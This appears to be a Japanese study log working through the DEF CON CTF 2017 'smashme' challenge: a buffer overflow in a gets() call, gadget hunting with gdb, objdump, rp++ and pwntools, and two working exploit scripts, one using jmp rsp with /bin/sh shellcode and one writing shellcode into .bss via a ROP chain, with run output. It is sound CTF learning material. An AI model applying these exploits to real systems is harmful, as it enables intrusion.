DEF CON CTF Qualifier 2017 smashme を勉強した記録


DEF CON CTF Qualifier 2017 smashme を勉強した記録
No eXecute bit(NX)無効

※ python + pwn でアセンブラをマシン語に変換を追記

NTT DATA のコラムで勉強

Solution:
bof で スタックに直にshellコードを書いて jmp rsp で実行する作戦。
リターンアドレスを,jmp rspのアドレスに書き換え,その下のshellコードを実行する。

smashme.c
// smashme.c
// gcc -fno-stack-protector -z execstack -static smashme.c -o smashme
#include<stdio.h>
#include<string.h>
#include<stdlib.h>

int main(int argc, char *argv[]){
  char input[0x40];

  puts("Welcome to the Dr. Phil Show. Wanna smash?");
  fflush(stdin);

  gets(input);  // 0x40(64バイト)以上でオーバーフロー

  // 特定の文字列を含んでいるかチェック
  if(strstr(input, "Smash me outside, how bout dAAAAAAAAAAA")){
    return 0;
  }
  exit(0);

bof

$ gdb -q ./smashme
gdb-peda$ b main
gdb-peda$ r

b main で止まった時のスタック

一番上に push ebp があり,
その下に main関数のリターンアドレス 0x401159 が見える

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400b6d <+0>:     push   rbp
   0x0000000000400b6e <+1>:     mov    rbp,rsp
=> 0x0000000000400b71 <+4>:     sub    rsp,0x50
   0x0000000000400b75 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x0000000000400b78 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x0000000000400b7c <+15>:    lea    rdi,[rip+0x91625]        # 0x4921a8
   0x0000000000400b83 <+22>:    call   0x410420 <puts>
   0x0000000000400b88 <+27>:    mov    rax,QWORD PTR [rip+0x2b8c19]        # 0x6b97a8 <stdin>
   0x0000000000400b8f <+34>:    mov    rdi,rax
   0x0000000000400b92 <+37>:    call   0x40fe80 <fflush>
   0x0000000000400b97 <+42>:    lea    rax,[rbp-0x40]
   0x0000000000400b9b <+46>:    mov    rdi,rax
   0x0000000000400b9e <+49>:    mov    eax,0x0
   0x0000000000400ba3 <+54>:    call   0x410270 <gets>
   0x0000000000400ba8 <+59>:    lea    rax,[rbp-0x40]
   0x0000000000400bac <+63>:    lea    rsi,[rip+0x91625]        # 0x4921d8
   0x0000000000400bb3 <+70>:    mov    rdi,rax
   0x0000000000400bb6 <+73>:    call   0x400468
   0x0000000000400bbb <+78>:    test   rax,rax
   0x0000000000400bbe <+81>:    je     0x400bc7 <main+90>
   0x0000000000400bc0 <+83>:    mov    eax,0x0
   0x0000000000400bc5 <+88>:    jmp    0x400bd1 <main+100>
   0x0000000000400bc7 <+90>:    mov    edi,0x0
   0x0000000000400bcc <+95>:    call   0x40ea90 <exit>
   0x0000000000400bd1 <+100>:   leave
   0x0000000000400bd2 <+101>:   ret
End of assembler dump.

getsの後にブレークポイントを設定,cで流した後,AAA を入力する

gdb-peda$ b *0x0000000000400ba8
Breakpoint 2 at 0x400ba8
gdb-peda$ c
Continuing.
Welcome to the Dr. Phil Show. Wanna smash?
AAA

スタック見てみる

計算通り,A * 64 で push ebp にぶつかり,その次がリターンアドレスだ
よって A は (64 + 8) = 72 必要。

jmp rspをさがす

Intel Manual --> objdump

jmp rsp の opcode を信憑性高くまとめているサイトは発見できなかった。
よって本家の2000ページ以上あるpdfを調べ上げた。

レジスタをジャンプ先にする jmp命令 は ff xx の2バイト (xx はレジスタを識別するオペランド)

レジスタをジャンプ先にする jmp命令において,レジスタを識別するオペランド

例えば
jmp rax であれば ff e0
jmp rsp であれば ff e4

objdumpで探してみる

objdump -d -M intel ./smashme | less
  49d842:       48 8b 1d ff e4 22 00    mov    rbx,QWORD PTR [rip+0x22e4ff]        # 6cbd48 <seen_objects>

あった。
0x49d845 でいけそう
ただし,今まで私は,objdump | less を使ってきたが,限界も感じる。
そこで先生も使っていた rp++ を使ってみた。

rp++

$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64
$ ./rp-lin-x64 -f ./smashme --rop=1 --unique | grep "jmp rsp"
0x004c25aa: clc  ; jmp rsp ;  (1 found)
0x004c54f2: cli  ; jmp rsp ;  (1 found)
0x0045f782: jmp rsp ;  (5 found)
0x004bd849: sar ebp, cl ; jmp rsp ;  (1 found)
0x004bd84a: std  ; jmp rsp ;  (1 found)
0x004c25a9: xor al, bh ; jmp rsp ;  (1 found)

0x49d845は含まれていない。
0x45f782を検証してみる

objdump -d -M intel ./smashme | less
  45f77c:       48 c7 85 78 ef ff ff    mov    QWORD PTR [rbp-0x1088],0x4b2be4
  45f783:       e4 2b 4b 00

やはり思った通り,less の検索では発見できない場所で発見してる。

python + pwn

知らなかった。こんなの

$ python
Python 2.7.17 (default, Feb 27 2021, 15:10:58) 
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context.arch = "amd64"
>>> asm("jmp rsp")
'\xff\xe4'
>>> binary = elf.load("smashme")
[*] '/home/xxx/share/smashme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
>>> hex(next(binary.search("\xff\xe4")))
'0x45f782'

攻撃コード

smashme1.py
# coding: UTF-8
# https://www.intellilink.co.jp/article/column/ctf01.html

import pwn
import struct

#io = pwn.remote("smashme_omgbabysfirst.quals.shallweplayaga.me ", 57348)
io = pwn.process("./smashme")

ret = io.readuntil("Welcome to the Dr. Phil Show. Wanna smash?")
print(ret)

smash_me = b"Smash me outside, how bout dAAAAAAAAAAA"
bufsize = 64+8
addr_jmp_rsp = 0x49d845

'''
  49d842:       48 8b 1d ff e4 22 00    mov    rbx,QWORD PTR [rip+0x22e4ff]        # 6cbd48 <seen_objects>
'''


# Linux/x86-64 - Execute /bin/sh - 27 bytes by Dad`
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = smash_me
s += b"A" * (bufsize - len(smash_me))
#s += struct.pack("<Q",addr_jmp_rsp)
s += pwn.p64(addr_jmp_rsp)
s += shellcode


print(s)

#io.send(s)
io.sendline(s)
io.interactive()

実行

# python smashme1.py
[+] Starting local process './smashme': pid 318
Welcome to the Dr. Phil Show. Wanna smash?
Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x82E\x00\x00H\xbbѝ\x96\x91Ќ\x97\xffHST_\x99RWT^\xb0;\x0f
[*] Switching to interactive mode

$ ls

なぜか1回目のlsには反応しないけど,2回目のlsで動いた。
io.send(s) --> io.sendline(s)に変更したら,1回のlsで動くようになった。

st98 の日記帳 で勉強

st98様,大変参考になりました。ありがとうございます。

さっそく新技

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

先生によると
bss セグメントにシェルコードを置いて実行してしまいましょう。
とある。

bss セグメント? 初耳

んーよくわらない。

先生の攻撃コードに出てくる

payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss

の検証

pop rdi ; ret

$ objdump -d -M intel ./smashme | less
  4014d5:       41 5f                   pop    r15
  4014d7:       c3                      ret

gets

$ objdump -d -M intel ./smashme | less
  4009e2:       e8 e9 f0 00 00          call   40fad0 <_IO_gets>

.bss

$ objdump -h  ./smashme | less
 25 .bss          00001878  00000000006cab60  00000000006cab60  000cab50  2**5
                  ALLOC

攻撃コード

smashme2.py
# coding: UTF-8
# https://st98.github.io/diary/posts/2017-05-02-def-con-ctf-2017-qualifiers.html
import time
from pwn import *

context(os='linux', arch='amd64')

payload = ''
payload += 'Smash me outside, how bout dAAAAAAAAAAA'
payload += 'A' * (64+8 - len(payload))

payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss  <-- gets内のretでキックされ,shellコードが実行される

print payload #  <-- gets(.bss) が実行され,入力待ちになる
time.sleep(.5)
print asm(shellcraft.sh()) #  <-- gets(.bss) にshellコードが送られ,.bssに書き込まれる

実行

$ (python smashme2.py; cat) | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?
ls

仕組みは理解できないが,動いた。

gets で標準入力に渡されたシェルコードを .bss に書いてるところまでは理解できた。
printが2か所あるのは,たぶんそのため。
そして,getsはcallで呼ばれたと勘違いして ret し,.bssに書かれたシェルコードが動き出すということか。
こういうのを ret2read と呼ぶのかな?
若い人達が pwn にはまるわけだ。知的ゲームだ。

callerとcallee

gets